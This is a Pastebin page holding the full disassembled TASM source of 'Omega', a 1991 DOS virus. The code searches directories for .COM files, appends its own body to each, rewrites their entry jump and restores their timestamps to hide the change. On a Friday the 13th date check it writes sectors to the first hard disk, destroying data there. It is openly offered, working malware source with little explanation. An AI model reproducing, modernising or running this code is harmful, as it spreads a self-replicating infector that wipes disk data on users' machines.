Advertisement
FlyFar

Virus.DOS.Omega - Source Code

Jun 28th, 2023
1,577
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
6502 TASM/64TASS 9.78 KB | Cybersecurity | 0 0
  1.  
  2. PAGE  59,132
  3.  
  4. ;��������������������������������������������������������������������������
  5. ;��                                      ��
  6. ;��                 OMEGA                        ��
  7. ;��                                      ��
  8. ;��      Created:   4-Dec-91                             ��
  9. ;��                                                                      ��
  10. ;�� Disassembled by -=>Wasp<=- aka >>Night Crawler<<                     ��
  11. ;��                                                                      ��
  12. ;�� Reassemble with TASM 2.0                                             ��
  13. ;��������������������������������������������������������������������������
  14.  
  15. DATA_1E     EQU 80H
  16.  
  17. SEG_A       SEGMENT BYTE PUBLIC
  18.         ASSUME  CS:SEG_A, DS:SEG_A
  19.  
  20.  
  21.         ORG 100h
  22.  
  23. OMEGA       PROC    FAR
  24.  
  25. START:
  26.         PUSH    AX
  27.         PUSH    CS
  28.         POP DS
  29.         CALL    SUB_1           ; (0106)
  30.  
  31. OMEGA       ENDP
  32.  
  33. ;��������������������������������������������������������������������������
  34. ;                  SUBROUTINE
  35. ;��������������������������������������������������������������������������
  36.  
  37. SUB_1       PROC    NEAR
  38.         POP BP
  39.         LEA BP,[BP+1AFH]        ; Load effective addr
  40.         MOV AH,1AH
  41.         MOV DX,BP
  42.         INT 21H         ; DOS Services  ah=function 1Ah
  43.                         ;  set DTA to ds:dx
  44.         LEA DI,[BP+30H]     ; Load effective addr
  45.         MOV [BP+2EH],DI
  46.         CALL    SUB_5           ; (01DC)
  47.         CALL    SUB_4           ; (0184)
  48.         LEA DI,[BP+30H]     ; Load effective addr
  49.         LEA SI,[BP-5]       ; Load effective addr
  50.         NOP
  51.         CALL    SUB_2           ; (015D)
  52.         MOV [BP+2EH],DI
  53.         CALL    SUB_5           ; (01DC)
  54.         CALL    SUB_4           ; (0184)
  55.         MOV AH,2AH          ; '*'
  56.         INT 21H         ; DOS Services  ah=function 2Ah
  57.                         ;  get date, cx=year, dx=mon/day
  58.         CMP AL,5
  59.         JNE LOC_1           ; Jump if not equal
  60.         CMP DL,0DH
  61.         JNE LOC_1           ; Jump if not equal
  62.         CALL    SUB_3           ; (0165)
  63.         INT 20H         ; Program Terminate
  64. LOC_1:
  65.         MOV AH,1AH
  66.         MOV DX,DATA_1E
  67.         INT 21H         ; DOS Services  ah=function 1Ah
  68.                         ;  set DTA to ds:dx
  69.         LEA SI,[BP-1B8H]        ; Load effective addr
  70.         MOV DI,OFFSET DS:[100H]
  71.         CLD             ; Clear direction
  72.         MOVSW               ; Mov [si] to es:[di]
  73.         MOVSB               ; Mov [si] to es:[di]
  74.         PUSH    CS
  75.         POP ES
  76.         PUSH    CS
  77.         POP DS
  78.         POP AX
  79.         MOV DI,OFFSET START
  80.         PUSH    DI
  81.         RETN
  82. SUB_1       ENDP
  83.  
  84.  
  85. ;��������������������������������������������������������������������������
  86. ;                  SUBROUTINE
  87. ;��������������������������������������������������������������������������
  88.  
  89. SUB_2       PROC    NEAR
  90. LOC_2:
  91.         LODSB               ; String [si] to al
  92.         STOSB               ; Store al to es:[di]
  93.         OR  AL,AL           ; Zero ?
  94.         JNZ LOC_2           ; Jump if not zero
  95.         DEC DI
  96.         RETN
  97. SUB_2       ENDP
  98.  
  99.  
  100. ;��������������������������������������������������������������������������
  101. ;                  SUBROUTINE
  102. ;��������������������������������������������������������������������������
  103.  
  104. SUB_3       PROC    NEAR
  105.         MOV AH,2
  106.         MOV DL,0EAH
  107.         INT 21H         ; DOS Services  ah=function 02h
  108.                         ;  display char dl
  109.         MOV AX,308H
  110.         MOV CX,1
  111.         MOV DX,80H
  112.         INT 13H         ; Disk  dl=drive 0  ah=func 03h
  113.                         ;  write sectors from mem es:bx
  114.         MOV AX,308H
  115.         MOV CX,1
  116.         MOV DX,180H
  117.         INT 13H         ; Disk  dl=drive 0  ah=func 03h
  118.                         ;  write sectors from mem es:bx
  119.         RETN
  120. SUB_3       ENDP
  121.  
  122.         DB   2AH, 00H
  123.  
  124. ;��������������������������������������������������������������������������
  125. ;                  SUBROUTINE
  126. ;��������������������������������������������������������������������������
  127.  
  128. SUB_4       PROC    NEAR
  129.         LEA SI,[BP-133H]        ; Load effective addr
  130.         MOV DI,[BP+2EH]
  131.         PUSH    DI
  132.         CALL    SUB_2           ; (015D)
  133.         POP DI
  134.         LEA DX,[BP+30H]     ; Load effective addr
  135.         MOV AH,4EH          ; 'N'
  136.         MOV CX,10H
  137.         INT 21H         ; DOS Services  ah=function 4Eh
  138.                         ;  find 1st filenam match @ds:dx
  139.         JC  LOC_RET_7       ; Jump if carry Set
  140. LOC_3:
  141.         CMP BYTE PTR [BP+1EH],2EH   ; '.'
  142.         JE  LOC_6           ; Jump if equal
  143.         PUSH    DI
  144.         LEA SI,[BP+1EH]     ; Load effective addr
  145.         CALL    SUB_2           ; (015D)
  146.         MOV AL,5CH          ; '\'
  147.         STOSB               ; Store al to es:[di]
  148.         MOV [BP+2EH],DI
  149.         SUB SP,15H
  150.         MOV CX,15H
  151.         MOV DI,SP
  152.         MOV SI,BP
  153.  
  154. LOCLOOP_4:
  155.         MOVSB               ; Mov [si] to es:[di]
  156.         LOOP    LOCLOOP_4       ; Loop if cx > 0
  157.  
  158.         CALL    SUB_5           ; (01DC)
  159.         MOV CX,15H
  160.         MOV SI,SP
  161.         MOV DI,BP
  162.  
  163. LOCLOOP_5:
  164.         MOVSB               ; Mov [si] to es:[di]
  165.         LOOP    LOCLOOP_5       ; Loop if cx > 0
  166.  
  167.         ADD SP,15H
  168.         POP DI
  169. LOC_6:
  170.         MOV AH,4FH          ; 'O'
  171.         INT 21H         ; DOS Services  ah=function 4Fh
  172.                         ;  find next filename match
  173.         JC  LOC_RET_7       ; Jump if carry Set
  174.         JMP SHORT LOC_3     ; (019C)
  175.  
  176. LOC_RET_7:
  177.         RETN
  178. SUB_4       ENDP
  179.  
  180.         DB   2AH, 2EH, 43H, 4FH, 4DH, 00H
  181.  
  182. ;��������������������������������������������������������������������������
  183. ;                  SUBROUTINE
  184. ;��������������������������������������������������������������������������
  185.  
  186. SUB_5       PROC    NEAR
  187.         LEA SI,[BP-0DFH]        ; Load effective addr
  188.         MOV DI,[BP+2EH]
  189.         CALL    SUB_2           ; (015D)
  190.         LEA DX,[BP+30H]     ; Load effective addr
  191.         MOV AH,4EH          ; 'N'
  192.         MOV CX,0
  193.         INT 21H         ; DOS Services  ah=function 4Eh
  194.                         ;  find 1st filenam match @ds:dx
  195.         JC  LOC_RET_11      ; Jump if carry Set
  196. LOC_8:
  197.         CMP WORD PTR [BP+1AH],0F000H
  198.         JA  LOC_10          ; Jump if above
  199.         LEA SI,[BP+1EH]     ; Load effective addr
  200.         MOV DI,[BP+2EH]
  201.         CALL    SUB_2           ; (015D)
  202.         LEA DX,[BP+30H]     ; Load effective addr
  203.         MOV AX,3D02H
  204.         INT 21H         ; DOS Services  ah=function 3Dh
  205.                         ;  open file, al=mode,name@ds:dx
  206.         JC  LOC_10          ; Jump if carry Set
  207.         MOV BX,AX
  208.         MOV AX,4202H
  209.         MOV DX,0FF21H
  210.         MOV CX,0FFFFH
  211.         INT 21H         ; DOS Services  ah=function 42h
  212.                         ;  move file ptr, cx,dx=offset
  213.         JC  LOC_9           ; Jump if carry Set
  214.         MOV WORD PTR [BP+2BH],0
  215.         LEA DX,[BP+2BH]     ; Load effective addr
  216.         MOV AH,3FH          ; '?'
  217.         MOV CX,2
  218.         INT 21H         ; DOS Services  ah=function 3Fh
  219.                         ;  read file, cx=bytes, to ds:dx
  220.         JC  LOC_9           ; Jump if carry Set
  221.         CMP WORD PTR [BP+2BH],2E2AH
  222.         JE  LOC_9           ; Jump if equal
  223.         CALL    SUB_6           ; (0243)
  224. LOC_9:
  225.         MOV AH,3EH          ; '>'
  226.         INT 21H         ; DOS Services  ah=function 3Eh
  227.                         ;  close file, bx=file handle
  228. LOC_10:
  229.         MOV AH,4FH          ; 'O'
  230.         INT 21H         ; DOS Services  ah=function 4Fh
  231.                         ;  find next filename match
  232.         JC  LOC_RET_11      ; Jump if carry Set
  233.         JMP SHORT LOC_8     ; (01F2)
  234.  
  235. LOC_RET_11:
  236.         RETN
  237. SUB_5       ENDP
  238.  
  239.  
  240. ;��������������������������������������������������������������������������
  241. ;                  SUBROUTINE
  242. ;��������������������������������������������������������������������������
  243.  
  244. SUB_6       PROC    NEAR
  245.         MOV AX,4200H
  246.         MOV CX,0
  247.         MOV DX,0
  248.         INT 21H         ; DOS Services  ah=function 42h
  249.                         ;  move file ptr, cx,dx=offset
  250.         JNC LOC_12          ; Jump if carry=0
  251.         JMP SHORT LOC_RET_13    ; (02AF)
  252. LOC_12:
  253.         MOV AH,3FH          ; '?'
  254.         MOV CX,3
  255.         LEA DX,[BP+2BH]     ; Load effective addr
  256.         INT 21H         ; DOS Services  ah=function 3Fh
  257.                         ;  read file, cx=bytes, to ds:dx
  258.         JC  LOC_RET_13      ; Jump if carry Set
  259.         MOV AX,4202H
  260.         MOV CX,0
  261.         MOV DX,0
  262.         INT 21H         ; DOS Services  ah=function 42h
  263.                         ;  move file ptr, cx,dx=offset
  264.         JC  LOC_RET_13      ; Jump if carry Set
  265.         MOV AH,40H          ; '@'
  266.         MOV CX,3
  267.         LEA DX,[BP+2BH]     ; Load effective addr
  268.         INT 21H         ; DOS Services  ah=function 40h
  269.                         ;  write file cx=bytes, to ds:dx
  270.         JC  LOC_RET_13      ; Jump if carry Set
  271.         MOV AH,40H          ; '@'
  272.         MOV CX,1B5H
  273.         LEA DX,[BP-1B5H]        ; Load effective addr
  274.         INT 21H         ; DOS Services  ah=function 40h
  275.                         ;  write file cx=bytes, to ds:dx
  276.         JC  LOC_RET_13      ; Jump if carry Set
  277.         MOV AX,4200H
  278.         MOV CX,0
  279.         MOV DX,0
  280.         INT 21H         ; DOS Services  ah=function 42h
  281.                         ;  move file ptr, cx,dx=offset
  282.         JC  LOC_RET_13      ; Jump if carry Set
  283.         MOV AX,[BP+1AH]
  284.         MOV DI,OFFSET DS:[101H]
  285.         STOSW               ; Store ax to es:[di]
  286.         MOV AH,40H          ; '@'
  287.         MOV CX,3
  288.         MOV DX,OFFSET DS:[100H]
  289.         INT 21H         ; DOS Services  ah=function 40h
  290.                         ;  write file cx=bytes, to ds:dx
  291.         JC  LOC_RET_13      ; Jump if carry Set
  292.         MOV AX,5701H
  293.         MOV CX,[BP+16H]
  294.         MOV DX,[BP+18H]
  295.         INT 21H         ; DOS Services  ah=function 57h
  296.                         ;  get/set file date & time
  297.  
  298. LOC_RET_13:
  299.         RETN
  300. SUB_6       ENDP
  301.  
  302.         DB   43H, 3AH, 5CH, 00H, 00H
  303.  
  304. SEG_A       ENDS
  305.  
  306.  
  307.  
  308.         END START
Tags: virus TASM
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement